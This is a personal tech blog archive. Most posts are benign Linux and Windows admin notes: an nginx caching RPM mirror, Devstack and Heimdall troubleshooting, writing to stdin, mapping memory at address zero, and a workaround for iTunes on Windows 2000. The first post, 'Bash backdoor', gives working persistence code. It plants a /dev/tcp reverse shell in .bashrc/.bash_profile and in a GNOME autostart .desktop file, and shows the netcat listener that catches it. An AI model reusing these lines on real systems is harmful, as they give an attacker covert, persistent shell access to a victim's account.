Tuesday, March 31, 2015

Bash backdoor

We have write access to a user's home directory and want shell access.  Bash sources a few files on startup:

.bash_profile -> new login (ssh/command line login)
.bashrc -> new bash instance (bash in a gnome-terminal)

If we add the following to one of those, we launch a connect back shell.
(setsid bash 1>&/dev/tcp/${HOST}/${PORT} 0>&1 & ) 2>/dev/null
Replace ${HOST} and ${PORT} to match your nc -lvp ${PORT} command.

setsid creates a new session for the process.  Launching in a new session allows the backdoor bash to continue running after the parent bash terminates.

Running the command in the subshell (the use of "(" and ")" ) hides the bash messages of the background process exiting.  The stderr redirect for the subshell hides failures like TCP connection failures.

While only specifying the redirection of stdin and stdout, the launched bash instance also redirects stderr to the TCP connection.  Bash must arrange that itself.

Replacing bash with Meterpreter might be worthwhile.  Metasploit & Meterpreter should handle multiple sessions while this will require a netcat instance per shell.

Originally, I open-coded a minimal daemon implementation in C. Then I rewrote to use the daemon(3) library call.  Then I tried just using setsid(2) at which point I found the setsid(1) utility.  That's much better than needing an additional program.  Python or Perl may provide a means to call setsid(2) and then exec(3) the shell without requiring an additional binary.  Something like:
$ cat ./setsid.py
#!/usr/bin/env python
import os
import sys

try:
        os.setsid()
except:
        pass
#print(sys.argv)
os.execvp(sys.argv[1], sys.argv[1:])
$ ./setsid.py bash
$ ps
  PID TTY          TIME CMD
 9912 pts/2    00:00:00 bash
10189 pts/2    00:00:00 bash
10262 pts/2    00:00:00 ps
nohup(1) may do something similar as well. setsid moves the process to another session so it won't receive the SIGHUP to terminate. nohup makes the process ignore SIGHUP, so it doesn't terminate.

You can also backdoor Gnome login with the following. Tested on Fedora 21 with Gnome 3.14. It may also work on other freedesktop.org compliant desktops. setsid isn't needed since the backdoor bash process ends up in its own session and persists after user logout. Maybe it's the combination of 'bash -c' using a subshell to run the backdoor bash? 'bash -c' is used to allow the file descriptor redirection. I doubted redirection would work if specified on the Exec= line, but did not test.
.config/autostart/backdoor.desktop

[Desktop Entry]
Type=Application
Exec=bash -c '(bash 1>&/dev/tcp/${HOST}/${PORT} 0>&1 & ) 2>/dev/null'
Name=Bash Backdoor

Populating a local RPM repository on demand.

My work internet connection is a pitiful dual T1 back to a central office.  What year are we living in?  The central office has local mirrors of some Linux distributions, but I am only accessing it over that tiny straw of a connection.  To avoid clogging the pipe, a local cache would cut down the traffic to update multiple machine.

This post is a dump of the config for future reference.  I originally found https://wiki.parabola.nu/Mirroring_On_Demand and modified it to work with Fedora.  Specifically Fedora 19 as the host to mirror the Fedora 19 repos.  You'll see nothing is Fedora specific.

The client boxes have their /etc/yum.repos.d/*.repo files point like so:
baseurl=http://cache.example.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/

Things get a little convoluted.

mirror-east.example.com mirrors the regular /pub/fedora repository hierarchy. In actuality, mirror-east.example.com redirects to www.storage-array.example.com for the actual files... in a new subdirectory mirrors/sites/fedora. I think it was a HTTP 302 redirect.

To help with this, I symlinked the hierarchies together.
$ ls -l /srv/www/mirror.example.com/mirrors/
lrwxrwxrwx. 1 nginx nginx 6 Oct 15  2013 sites -> ../pub

This way files all end up under pub, even if they were fetched from the storage array. It avoids needing to rewrite the save pathnames.

Yum always requests /pub/fedora, but files in that path will not have been cached. The actual files were saved under /mirrors/sites/fedora. With the symlink, re-requested files are found under the /pub/fedora path.

I believe the only changes to /etc/nginx/nginx.conf were the following proxy_cache_path (and maybe proxy_temp_path) directives. The thought was to set a time limit for the repo metadata since cached versions of those would be invalidated overnight with the source mirror's rsync update. Repo data was set to expire in 16 (or 12?) hours - long enough that is was only fetched once per work day.

Config files:
 
/etc/nginx/nginx.conf

http {
    ... snip ...
    proxy_cache_path  /var/lib/nginx/tmp/repodata keys_zone=repodata:10m inactive=960m;
    proxy_temp_path   /srv/nginx/tmp;
    proxy_cache_path  /srv/nginx/cache  levels=1:2 keys_zone=cache_repodata:256m inactive=1d max_size=1g;
    ... snip ...
}


/etc/nginx/conf.d/repo-proxy.conf

# Frontend server for the mirror
upstream mirror-east {
    server mirror-east.example.com;
}

# Storage array with the files
upstream storage-array {
    server www.storage-array.example.com;
}

# Our mirror
server {
    listen       80;
    server_name  mirror.example.com mirror-east.example.com cache.example.com "";
    # access_log  off;
    # error_log off;
    root /srv/www/mirror.example.com;
    autoindex on;

    # Minimally cache databases
    location ~ repodata/.*$ {
        expires 16h;
        rewrite ^/pub/(.*)$ /mirrors/sites/$1 break;
        rewrite_log on;
        error_page 403 404 = @redir;
    }

    # Retrieve actual files.
    location /pub {
        expires 7d;
        rewrite ^/pub/(.*)$ /mirrors/sites/$1 break;
        rewrite_log on;
        error_page 403 404 = @get;
    }

    # Bogus location that redirects queries
    # Pass it to the repo upstream
    # We trick upstream into serving the main repo subdomain
    # Store the files in this format
    # Give them 664 permissions
    location @get {
        proxy_pass http://storage-array;
        proxy_set_header Host www.storage-array.example.com;
        proxy_store /srv/www/mirror.example.com$request_uri;
        proxy_store_access user:rw group:rw all:r;
    }

    # Bogus location for metadata.
    location @redir {
        proxy_cache cache_repodata;
        proxy_cache_valid 12h;
        proxy_pass http://storage-array;
        proxy_set_header Host www.storage-array.example.com;
        #proxy_store /srv/www/mirror.example.com$request_uri;
        #proxy_store_access user:rw group:rw all:r;
        expires 13h;
    }
}

You probably have to create the directories:
/srv/www/mirror.example.com/{pub,mirrors}
and then the symlink:
/srv/www/mirror.example.com/mirrors/sites -> ../pub

SELinux needs proper labeling.
I used system_u:object_r:httpd_sys_content_t:s0 for read only top level /srv/www/mirror.example.com and system_u:object_r:httpd_sys_rw_content_t:s0 for the populating subdirectory.  Originally I modified some boolean (I think...), but that seems to have been lost on reboot.
$ ls -ldZ /srv/www/mirror.example.com{,/pub}
drwxrwxr-x. root  nginx system_u:object_r:httpd_sys_content_t:s0 /srv/www/mirror.example.com
drwxrwxr-x. nginx nginx system_u:object_r:httpd_sys_rw_content_t:s0 /srv/www/mirror.example.com/pub

This scheme does not clean up after itself. i.e. updates don't evict the previous version. The following command will clear out old package revisions.
repomanage --old .

Openstack Devstack Heat problem

The proper solution is probably to start fresh from a clean install.

A few months back, I started running the Devstack's stack.sh installer on a CentOS 7 box. It failed and then I was distracted by other work. Today, I tried to resume.

Updating devstack doesn't update everything. All the git directories under /opt/stack should be updated as well.
for d in /opt/stack; do (cd $d; git pull); done
Then there was an issue with heat not installing. It seems that devstack uses /opt/stack/requirements/update.py to clobber the /opt/stack/heat/requirements.txt file. oslo.versionedobjects is no longer specified, and heat-manage db_sync fails. I don't know how oslo.versionedobjects got dropped, because it is included in the /opt/stack/requirements/global-requirements.txt.

Anyway, I modified the /opt/stack/heat/requirements.txt copy from git (git checkout) to add a second newline at the beginning. That means git diff shows a difference, and stack.sh skips calling /opt/stack/requirements/update.py.

heat installation proceeds, but now tempest failed with "ERROR: venv: commands failed"

Sigh.

Friday, January 3, 2014

Heimdall

Heimdall is the open source tool for flashing Samsung phones. Unfortunately, it failed to run and produced a perplexing error message on my Xubuntu 13.10 laptop.

$ ./heimdall
bash: ./heimdall: No such file or directory


But the file is present and executable.

$ ls -al heimdall
-rwxr-xr-x 1 user user 2361659 Dec 31 2012 heimdall


The file is 64bit as is our installation, so it isn't a mismatch between the two.

$ file heimdall heimdall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xe3d400859c94ab4be1c7d4279f18143aafeec089, not stripped
$ uname -a
Linux shine 3.11.0-14-generic #21-Ubuntu SMP Tue Nov 12 17:04:55 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux


All the shared libraries are found as well:

$ ldd ./heimdall
    linux-vdso.so.1 =>  (0x00007fff693fe000)
    libusb-1.0.so.0 => /lib/x86_64-linux-gnu/libusb-1.0.so.0 (0x00007ff62d2c4000)
    libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff62cfc0000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff62ccbb000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff62caa5000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff62c6dd000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff62c4bf000)
    libudev.so.1 => /lib/x86_64-linux-gnu/libudev.so.1 (0x00007ff62c2ae000)
    /lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007ff62d4fe000)
    librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff62c0a6000)


It's a real head scratcher, but the reason can be found.

$ readelf -p .interp ./heimdall

String dump of section '.interp':
  [     0]  /lib/ld-linux-x86-64.so.2


$ ls -l /lib/ld-linux-x86-64.so.2
ls: cannot access /lib/ld-linux-x86-64.so.2: No such file or directory

The dynamic linker specified in the executable is incorrect for the Xubuntu (Ubuntu) system. The correct file is:

$ ls -l /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 32 Oct 12 00:52 /lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.17.so


This dynamic linker can be invoked explicitly to execute the file.

$ /lib64/ld-linux-x86-64.so.2 ./heimdall version
v1.4 RC1


An interesting side effect of directly launching the dynamic linker is the file does not need to be executable.

$ chmod -x heimdall
$ ls -l heimdall
-rw-r--r-- 1 user user 2361659 Dec 31  2012 heimdall
$ /lib64/ld-linux-x86-64.so.2 ./heimdall version
v1.4 RC1
$ ls -l heimdall
-rw-r--r-- 1 user user 2361659 Dec 31  2012 heimdall

Monday, November 10, 2008

Writing to stdin

Remember, stdin is file descriptor 0.

#include <stdio.h>
#include <string.h>

int main(void)
{
char *output = "Hello, Stdin World!\n";

write(0, output, strlen(output));
return 0;
}


[prompt]$ gcc -o stdin-write stdin-write.c
[prompt]$ ./stdin-write 1>/dev/null 2>/dev/null
Hello, Stdin World!
[prompt]$

So you can write to stdin because it is opened Read/Write on linux. Probably also on other platforms as well. std{in,out,err} are just conventions for the names and uses of file descriptors 0, 1, and 2, and there is no technical restriction in place on them. Still, writing to stdin is unusual and unexpected.

Tuesday, January 22, 2008

Null Pointers

I've meant to write about this for a while. I wrote it, saved it as a draft and waited even longer to publish it.

Everyone learns dereferencing a NULL pointer crashes a program. However, I was reading a phrack (or maybe something else) article and a comment about an exploit made reference to a NULL pointer.

Curious, I messed around and wrote this:


#include <stdlib.h>
#include <sys/mman.h>

int main(int argc, char *argv[]) {
long *addr;
addr = (long *)mmap((void *)0, 4096,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS,
-1, 0);
addr = NULL;
*addr = 75;
return 0;
}


Typically, there is no memory mapped to address 0. Hence using a NULL pointer results in a Seg Fault. Above, we map a page of memory to address 0. Then we can reference it without a Seg Fault.

The above mentioned exploit was to have a Kernel structure set to a NULL pointer. Then when it is dereferenced, it actually accesses page zero inside the exploiting application's address space. Pretty nifty.

Like many others, I took for granted that dereferencing a NULL pointer equals a seg fault. However, that is just because typically there is no memory mapped to address 0. Typical doesn't mean never.

Shortly after making this discovery (this was a while ago) I found this: "Alan Cox indicated that it was desirable to be able to dynamically disable the feature because some (very) rare programs map the NULL pointer to speed up their walk through linked lists by avoiding NULL pointer checks." by Willy Tarreau http://kerneltrap.org/Linux/2.4.36-pre1_Preventing_NULL_Dereferences

Tuesday, September 25, 2007

iTunes, QuickTime, and Windows 2000

Three cheers for progress.

Apple no longer supports Windows 2000 for QuickTime and iTunes, and one can surmise future software will be the same. Naturally, my work laptop runs Windows 2000 thereby excluding me from the updated Apple software.

Or does it?

Orca is a Microsoft tool for manipulating .MSI installer files. Using it to change the version checking of the MSI files, QuickTime and iTunes can be installed on Windows 2000.

Unfortunately, it doesn't quite work. QuickTime will install and, after making sure gdiplus.dll is installed, plays sample.mov. iTunes is not so lucky. Starting it results in the following dialog box:

iTunes.exe - Entry Point Not Found

The procedure entry point HeapSetInformation could not be located in the dynamic link library KERNEL32.dll.

HeapSetInformation is a function available in Windows XP and Vista but not 2000. iTunes uses it to enable a low-fragmentation heap. It's probably unnecessary, but it does prevent prevent iTunes from running.

It may be possible to bypass the function call and allow iTunes to run, but trivial modification of the iTunes executable doesn't work. iTunes does some hashing of itself for consistency purposes and stops running when it detects modification. This check would also need to be bypassed, so it may not be worthwhile.

To avoid downloading a whole SDK, grab Orca from here.

AppDeploy has good information on modifying MSI files.